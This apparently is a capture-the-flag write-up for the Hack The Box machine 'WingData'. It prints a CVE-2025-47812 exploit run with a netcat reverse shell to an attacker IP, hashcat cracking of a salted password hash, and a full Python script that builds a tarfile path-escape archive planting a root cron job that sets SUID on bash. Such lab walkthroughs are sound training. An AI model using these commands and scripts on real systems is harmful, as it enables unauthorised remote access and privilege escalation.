HTB: WingData Writeup

HTB: WingData Writeup

in

Summary

WingData is a easy-difficulty Linux machine from Hack The Box that demonstrates the exploitation of a vulnerable FTP server and a complex privilege escalation through tarfile path manipulation. Initial reconnaissance reveals Wing FTP Server version 7.4.3 running on the target, which is vulnerable to CVE-2025-47812, an unauthenticated remote code execution flaw. After exploiting this vulnerability to gain a shell as the wingftp user, we discover XML configuration files containing user password hashes. The password hash for user wacky uses a custom SHA256 salting scheme specific to Wing FTP Server, requiring the format SHA256(password+”WingFTP”). After successfully cracking this hash, we escalate to the wacky user account. For privilege escalation, we discover wacky has sudo permissions to run a Python script that extracts tarball backups with path validation. By crafting a specially designed tarball that creates a deeply nested symlink chain exceeding the PATH_MAX limit, we exploit a race condition in Python’s tarfile extraction process to write a malicious cron job to /etc/cron.d/, ultimately achieving root access through a SUID bash binary.

Enumeration

Nmap TCP

Nmap scan report for 10.129.5.186
Host is up, received user-set (0.041s latency).
Scanned at 2026-02-14 21:42:14 WET for 17s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)

80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://wingdata.htb/

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (95%)

Our initial port scan reveals the web server on port 80 is redirecting us to wingdata.htb. Navigating to it shows a generic corporate site for Wing Data Solutions.

Clicking the “Client Portal” button sends us to ftp.wingdata.htb. We will add it to our /etc/hosts file for proper resolution.

Wing FTP Server Discovery

Visiting http://ftp.wingdata.htb presents us with the Wing FTP Server web interface.

The footer reveals this is Wing FTP Server version 7.4.3, which immediately stands out as a potential attack vector worth investigating for known vulnerabilities.

Shell as wingftp

CVE-2025-47812 - Unauthenticated Remote Code Execution

A quick search for Wing FTP Server 7.4.3 vulnerabilities leads us to CVE-2025-47812, a critical unauthenticated remote code execution vulnerability affecting Wing FTP Server versions prior to 7.4.4.

The vulnerability exploits inconsistent NULL byte handling between two code paths in Wing FTP Server. The authentication function c_CheckUser() truncates usernames at NULL bytes, while the session creation logic does not. When we send a username like anonymous\x00<lua_code>, the authentication sees only anonymous and grants access, but the full string including our malicious Lua code gets written into the session file. Wing FTP Server uses Lua scripting for session management, so when we subsequently access an authenticated endpoint like /dir.html with our session UID cookie, the server executes our injected Lua code. This code uses io.popen() to run system commands, returning the output in the HTTP response. The exploit achieves code execution with the privileges of the FTP server process.

We download a proof-of-concept exploit from GitHub and prepare to execute it against our target:

python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c 'nc 10.10.14.60 443 -e /bin/bash'
[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'nc 10.10.14.60 443 -e /bin/bash' and username: 'anonymous'
[+] UID extracted: a84cd3184dcba46b0203fca8413eaeb3f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: a84cd3184dcba46b0203fca8413eaeb3f528764d624db129b32c21fbca0cb8d6

The exploit successfully triggers our reverse shell callback. On our penelope listener, we receive a connection that gets upgraded to a full PTY shell:

[+] Got reverse shell from wingdata~10.129.5.8-Linux-x86_64
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/local/bin/python3!
[+] Interacting with session [1] • Shell Type PTY
────────────────────────────────────────────────────────────────────────────────
wingftp@wingdata:/opt/wftpserver$

We now have a shell as the wingftp user. Running a quick check of the system’s user accounts reveals three users with shell access:

wingftp@wingdata:/opt/wftpserver$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
wingftp:x:1000:1000:WingFTP Daemon User,,,:/opt/wingftp:/bin/bash
wacky:x:1001:1001::/home/wacky:/bin/bash

The presence of the wacky user is interesting and suggests this might be our path to user-level access on the box.

User Escalation to wacky

Discovering User Configuration Files

Exploring the Wing FTP Server directory structure, we find the user configuration files stored in XML format:

wingftp@wingdata:/opt/wftpserver/Data/1/users$ ls
anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml

Examining the wacky.xml file reveals a password hash:

wingftp@wingdata:/opt/wftpserver/Data/1/users$ cat wacky.xml
<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>wacky</UserName>
        <EnableAccount>1</EnableAccount>
        <EnablePassword>1</EnablePassword>
        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
        <ProtocolType>63</ProtocolType>
        <EnableExpire>0</EnableExpire>
        <ExpireTime>2025-12-02 12:02:46</ExpireTime>
        <SNIP>
    </USER>
</USER_ACCOUNTS>

The password field contains what appears to be a SHA256 hash. However, attempting to crack this hash directly using rockyou.txt proves unsuccessful.

Understanding Wing FTP’s Custom Password Hashing

Further research into Wing FTP Server’s authentication mechanism reveals that the server uses a custom salting scheme for password hashes. According to the Wing FTP Server documentation, administrator passwords are hashed using the formula: SHA256(Password+"WingFTP").

This means the server appends the static salt string “WingFTP” to the plaintext password before computing the SHA256 hash. We can attempt to crack this using hashcat with mode 1410, which handles sha256($pass.$salt) format.

We create a hash file with the format required by hashcat:

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP

Now we run hashcat against the rockyou wordlist:

.\hashcat.exe -m 1410 hashes.txt rockyou.txt.gz
hashcat (v7.1.2) starting

<SNIP>

Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b87...ingFTP
Time.Started.....: Sat Feb 14 21:09:56 2026 (2 secs)
Time.Estimated...: Sat Feb 14 21:09:58 2026 (0 secs)

<SNIP>

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:{hidden}

Session..........: hashcat
Status...........: Cracked

The hash cracks successfully, revealing wacky’s password. We can now use these credentials to switch to the wacky user:

wingftp@wingdata:/opt/wftpserver/Data/1/users$ su wacky
Password: 

wacky@wingdata:/opt/wftpserver/Data/1/users$ cd /home/wacky

wacky@wingdata:~$ cat user.txt
{hidden}

We’ve successfully obtained the user flag and established access as the wacky user.

Privilege Escalation to Root

Identifying Sudo Privileges

The first step in privilege escalation is checking what sudo permissions our current user has:

wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3
        /opt/backup_clients/restore_backup_clients.py *

The wacky user can execute a specific Python script as root without a password. This script is located at /opt/backup_clients/restore_backup_clients.py and appears to handle backup restoration operations. Let’s examine its source code to identify potential vulnerabilities.

Analyzing the Backup Restoration Script

wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()

The script performs several validation checks on the backup filename and restore directory name. However, the critical vulnerability lies in the tar.extractall() operation. While the script uses the filter=”data” parameter-a security feature introduced to prevent directory traversal, it can be bypassed by exploiting path normalization limits.

Exploiting Python’s Tarfile Extraction

The vulnerability we’ll exploit is based on how Python’s tarfile module handles deeply nested symbolic links. When the path length of a symlink chain exceeds the system’s PATH_MAX limit (typically 4096 bytes), the extraction process can exhibit unexpected behavior where files end up being written to locations outside the intended extraction directory. This technique exploits recent critical vulnerabilities tracked as CVE-2025-4517 (CVSS 9.4) and CVE-2025-4330 (CVSS 7.5), which affect Python 3.12+ when using filter="data" or filter="tar".

Our exploitation strategy involves creating a malicious tarball containing:

  1. A series of deeply nested directories with very long names
  2. Symbolic links that chain together to exceed PATH_MAX
  3. A malicious cron file that will be written to /etc/cron.d/ due to the path confusion

Let’s create the exploit tarball:

/usr/local/bin/python3 << 'PYEOF'
import tarfile
import os
import io

# Create very long directory name (247 chars)
comp = 'd' * 247
steps = "abcdefghijklmnop"  # 16 levels
path = ""

with tarfile.open("/tmp/exploit_cron.tar", mode="w") as tar:
    # Build deep directory + symlink chain to exceed PATH_MAX
    for i in steps:
        # Create directory
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        
        # Create symlink pointing to that directory
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        
        path = os.path.join(path, i)
    
    # Final payload: cron job that will be written to /etc/cron.d/
    payload = b"* * * * * root chmod u+s /bin/bash\n"
    payload_info = tarfile.TarInfo(os.path.join(path, "..", "..", "..", "..", "..", "..", "..", "..", "..", "..", "etc", "cron.d", "pwn"))
    payload_info.size = len(payload)
    tar.addfile(payload_info, io.BytesIO(payload))

print("Exploit tar created at /tmp/exploit_cron.tar")
PYEOF

This Python script constructs a tarball with the following structure:

  • Each directory component comp is 247 characters long (the letter ‘d’ repeated)
  • We create 16 levels of nesting using the characters in steps
  • At each level, we create both a directory and a symbolic link pointing to that directory
  • When these paths are chained together through the symlinks, the total path length exceeds PATH_MAX
  • At the end of this chain, we place our malicious cron file with relative path traversal (../ sequences)

By creating a tarball with a directory structure that is extremely deep and uses maximum-length component names, we can “confuse” the logic that filter="data" uses to validate safe paths. When the total string length exceeds PATH_MAX, the internal calculations used to join the STAGING_BASE with the extraction path can fail or truncate.

When the tarfile module attempts to validate the final destination of the cron file, the length of the prefix causes the normalization logic to miscalculate the “safe” boundary. This allows the ../ sequences to escape the STAGING_BASE and write the file directly to /etc/cron.d/pwn.

The cron job we’re injecting contains a simple command: chmod u+s /bin/bash, which will set the SUID bit on bash, allowing us to execute it as root.

Now we need to place our malicious tarball where the script expects to find backup files and create a symlink with the correct naming pattern:

wacky@wingdata:/tmp$ ln -s /tmp/exploit_cron.tar /opt/backup_clients/backups/backup_1001.tar

With our symlink in place, we can now execute the vulnerable script as root:

wacky@wingdata:/tmp$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_pwn
[+] Backup: backup_1001.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn

The script reports successful extraction. Let’s verify that our malicious cron file was created:

wacky@wingdata:/tmp$ ls -la /etc/cron.d/pwn
-rw-r--r-- 1 root root 35 Dec 31  1969 /etc/cron.d/pwn

wacky@wingdata:/tmp$ cat /etc/cron.d/pwn
* * * * * root chmod u+s /bin/bash

Perfect! Our cron job is now in place. The cron daemon will execute this job every minute, setting the SUID bit on /bin/bash. We wait briefly for the cron job to trigger, then check the permissions on bash:

wacky@wingdata:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 Sep  6 18:07 /bin/bash

The SUID bit is now set (notice the s in the permissions). We can leverage this to spawn a root shell using the -p flag, which preserves the effective user ID:

wacky@wingdata:/tmp$ /bin/bash -p

bash-5.2# whoami
root